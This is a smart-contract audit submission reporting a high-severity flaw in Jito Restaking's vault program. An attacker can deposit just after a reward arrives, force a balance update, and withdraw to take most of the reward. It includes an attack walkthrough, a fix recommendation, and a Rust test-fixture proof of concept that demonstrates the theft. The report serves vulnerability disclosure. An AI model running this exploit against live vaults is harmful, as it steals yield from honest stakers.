#37311 [SC-High] Attackers can steal rewards by depositing, updating vault balance and withdrawing immediately after a large reward is deposited

Submitted on Dec 2nd 2024 at 05:47:34 UTC by @niroh for Audit Comp | Jito Restaking

  • Report ID: #37311

  • Report Type: Smart Contract

  • Report severity: High

  • Target: https://github.com/jito-foundation/restaking/tree/master/vault_program

  • Impacts:

    • Theft of unclaimed yield

Description

Brief/Intro

When ST rewards are sent to a vault, the vault's vrt_token (shares) accrues the reward value only after a call to the update_vault_balance. The reward value accrues all at once after the update_vault_balance call. This enables an attack vector where a parasitic staker drains a large reward without contributing to the stake that produced the reward.

Vulnerability Details

Attack scenario:

  1. The vault has 10_000 ST deposits that have been staked for a cetrain period of time. The vault has a vrt_tokens supply of 10_000 that represents current stakers shares in the vault.

  2. At epoc X, an ST reward of 1000 ST is sent to the vault as a reward for the staking so far.

  3. An attacker who monitors the protocol identifies the deposit and immediately sends a transaction that does the following: A. completes a vault tracker update (without a balance update) B. deposits 1_000_000 ST to the vault, for which they receive 1_000_000 vrt_tokens. C. calls update_vault_balance D. enqueues a withdrawal ticket for the entire 1_000_000 vrt_tokens received in the deposit.

  4. At epoc X+2 the attacker's withdrawal matures and they can claim their 1_000_000 vrt_tokens for which they receive 1000990 ST tokens

  5. The attacker walks away with 99% of the reward that belongs to the original depositors. (see POC)

  6. Note that because the attacker immediately enqueues a withdrawal, their funds can not be delegated. This is becuase the vault::delegate function "reserves" ST funds for all enqueues/pending/ready withdrawals and will fail attempts to delegate beyond that. As can be seen in the code below:

//vault.rs line 1144
pub fn delegate(&mut self, amount: u64) -> Result<(), VaultError> {
        if amount == 0 {
            msg!("Delegation amount is zero");
            return Err(VaultError::VaultDelegationZero);
        } else if self.tokens_deposited() == 0 || self.vrt_supply() == 0 {
            msg!("No tokens deposited in vault");
            return Err(VaultError::VaultUnderflow);
        }

        // there is some protection built-in to the vault to avoid over delegating assets
        // this number is denominated in the supported token units
        let amount_to_reserve_for_vrts =
            self.calculate_supported_assets_requested_for_withdrawal()?;

This means that the attacker funds are never used for delegation and only "leech" on the rewards generated by other stakers.

Impact Details

Theft of unclaim yield (vault rewards) from stakers. Depending on the vault's TVL at the time of attack and on the attacker's funding, they can drain the majority of the reward (shown in the POC)

Recommendation

mint_to (deposit) instruction should update_vault_balance before calculating the reveived vrt_tokens.

References

https://github.com/jito-foundation/restaking/blob/406903e569da657035a2ca71ad16f8a930db6940/vault_program/src/update_vault_balance.rs#L12

Proof of Concept

Proof of Concept

  1. add to folloing function to integration_test/tests/fixtures/vault_client.rs (same as do_full_vault_update only without calling update_balance. required for the exploiter move)

pub async fn do_full_vault_update_no_balance(
        &mut self,
        vault_pubkey: &Pubkey,
        operators: &[Pubkey],
    ) -> Result<(), TestError> {
        let slot = self.banks_client.get_sysvar::<Clock>().await?.slot;

        let config = self
            .get_config(&Config::find_program_address(&jito_vault_program::id()).0)
            .await?;

        let ncn_epoch = slot / config.epoch_length();

        let vault_update_state_tracker = VaultUpdateStateTracker::find_program_address(
            &jito_vault_program::id(),
            vault_pubkey,
            ncn_epoch,
        )
        .0;
        self.initialize_vault_update_state_tracker(vault_pubkey, &vault_update_state_tracker)
            .await?;

        for i in 0..operators.len() {
            let operator_index = (i + ncn_epoch as usize) % operators.len();
            let operator = &operators[operator_index];
            self.crank_vault_update_state_tracker(
                vault_pubkey,
                operator,
                &VaultOperatorDelegation::find_program_address(
                    &jito_vault_program::id(),
                    vault_pubkey,
                    operator,
                )
                .0,
                &vault_update_state_tracker,
            )
            .await?;
        }

        self.close_vault_update_state_tracker(
            vault_pubkey,
            &vault_update_state_tracker,
            slot / config.epoch_length(),
        )
        .await?;

        Ok(())
    }
  1. Add the following code to a test file under integration_tests/tests/vault/

#[cfg(test)]
mod tests {
    //use jito_vault_sdk::error::VaultError;
    use solana_sdk::signature::{Keypair, Signer};
    use jito_vault_core::{config::Config, vault::BurnSummary, vault_staker_withdrawal_ticket::VaultStakerWithdrawalTicket};
   
    use crate::fixtures::fixture::{ConfiguredVault, TestBuilder};
    use spl_associated_token_account::get_associated_token_address;
 
    #[tokio::test]
    async fn exploit_steal_rewards() {
        let mut fixture = TestBuilder::new().await;

        let deposit_fee_bps = 0;
        let withdrawal_fee_bps = 0;
        let reward_fee_bps = 0;
        let num_operators = 1;
        let slasher_amounts = vec![];

        let (ConfiguredVault {
            mut vault_program_client,
            mut restaking_program_client,
            vault_root,
            operator_roots,
            ..
        }) = fixture
            .setup_vault_with_ncn_and_operators(
                deposit_fee_bps,
                withdrawal_fee_bps,
                reward_fee_bps,
                num_operators,
                &slasher_amounts,
                
            )
            .await
            .unwrap();
        
        //get config data
        let mut config = vault_program_client
            .get_config(&Config::find_program_address(&jito_vault_program::id()).0)
            .await
            .unwrap();
   
        //get vault    
        let mut vault = vault_program_client.get_vault(&vault_root.vault_pubkey).await.unwrap();
        let vault_vrt_fee_wallet = &get_associated_token_address(&vault.fee_wallet, &vault.vrt_mint);
        //create a supported mint account to the vault admin since they are also the fee wallet and need to be able to receive STs
        vault_program_client.create_ata(&vault.supported_mint, &vault_root.vault_admin.pubkey()).await.unwrap();

        //get operator keys
        let operator_pubkeys: Vec<_> = operator_roots
            .iter()
            .map(|root| root.operator_pubkey)
            .collect();
        
        //create  exploiter
        let exploiter_deposit_amount = 1_000_000; 
        let exploiter = Keypair::new();
        vault_program_client
          .configure_depositor(&vault_root, &exploiter.pubkey(), exploiter_deposit_amount)
          .await
         .unwrap();
        let exploiter_st_wallet = &get_associated_token_address(&exploiter.pubkey(), &vault.supported_mint);

        //create honest depositor
        let honest_deposit_amount = 10_000; 
        let depositor = Keypair::new();
        vault_program_client
          .configure_depositor(&vault_root, &depositor.pubkey(), honest_deposit_amount)
          .await
         .unwrap();

        //Warp two epocs 
        let epoch_length = config.epoch_length();        
        fixture.warp_slot_incremental(epoch_length*2).await.unwrap(); 
        vault_program_client.do_full_vault_update(&vault_root.vault_pubkey,&operator_pubkeys).await.unwrap();


        //deposit 10_000 for honest depositor
        let res = vault_program_client
        .do_mint_to(&vault_root, &depositor, honest_deposit_amount, 0)
        .await;
        match res {
            Ok(()) => {},
            Err(e) => {eprintln!("Error: {:?}", e); return;}
        }

         //delegate honest depositor funds   
        let res = vault_program_client.do_add_delegation(&vault_root, &operator_pubkeys.get(0).unwrap(), honest_deposit_amount).await;
        match res {
            Ok(()) => {},
            Err(e) => {eprintln!("Error Delegating honest depositor funds: {:?}", e); return;}
        }

        //warp 100 epocs
        fixture.warp_slot_incremental(epoch_length*100).await.unwrap(); 
        
        //push 1000 ST reward to the vault
         let res = vault_program_client.mint_spl_to(&vault.supported_mint, &vault_root.vault_pubkey, 1000)
        .await;
        match res {
            Ok(()) => {},
            Err(e) => {eprintln!("Error: {:?}", e); return;}
        }

        //Exploiter move: update vault tracker (without update_balance), deposit, update balance and enqueue withdraw
        let res = vault_program_client.do_full_vault_update_no_balance(&vault_root.vault_pubkey,&operator_pubkeys).await; 
        let res = vault_program_client.do_mint_to(&vault_root, &exploiter, exploiter_deposit_amount, 0).await;
        let res = vault_program_client.update_vault_balance(&vault_root.vault_pubkey).await;
        let exploiter_vrt_wallet = &get_associated_token_address(&exploiter.pubkey(), &vault.vrt_mint);
        let exploiter_vrt_wallet_account = fixture.get_token_account(&exploiter_vrt_wallet).await.unwrap();
        let exploiter_withdrawal_ticket_info = vault_program_client
            .do_enqueue_withdrawal(&vault_root, &exploiter, exploiter_vrt_wallet_account.amount).await.unwrap();


        //an attempt to delegate half of the exploiter's deposited funds fails because they had already enqueued a withdrawal
        let res = vault_program_client.do_add_delegation(&vault_root, &operator_pubkeys.get(0).unwrap(), exploiter_deposit_amount/2).await;
        match res {
            Ok(()) => {},
            Err(e) => {eprintln!("Error Delegating Exploiter Funds: {:?}", e);}
        }
        //Outputs "Program log: Insufficient funds in vault for delegation" Error

        //warp two epocs
        fixture.warp_slot_incremental(epoch_length*2).await.unwrap(); 
        vault_program_client.do_full_vault_update(&vault_root.vault_pubkey,&operator_pubkeys).await.unwrap();

        //exploiter finalizes withdrawal
        let exploiter_st_bal_before = fixture.get_token_account(&exploiter_st_wallet).await.unwrap().amount;   
        let res = vault_program_client.do_burn_withdrawal_ticket(
            &vault_root,
             &exploiter, 
            &exploiter_withdrawal_ticket_info.base, 
            &config.program_fee_wallet).await;
        let exploiter_st_bal_after = fixture.get_token_account(&exploiter_st_wallet).await.unwrap().amount;     
        let exploiter_withdrawn_st = exploiter_st_bal_after.saturating_sub(exploiter_st_bal_before);
        println!("Exploiter deposited st: {exploiter_deposit_amount}, widhdrawn st: {exploiter_withdrawn_st}, ST gains: {} ",exploiter_withdrawn_st.saturating_sub(exploiter_deposit_amount)  );
        //Output: Exploiter deposited st: 1000000, widhdrawn st: 1000990, ST gains: 990 
        //Exploiter managed to gain 99% of the 1000 ST reward that was received for the staking of honest depositor funds within up to 2 epocs
    }
}
  1. Run RUST_LOG=off RUST_BACKTRACE=1 cargo nextest run --nocapture sandwitch_update_balance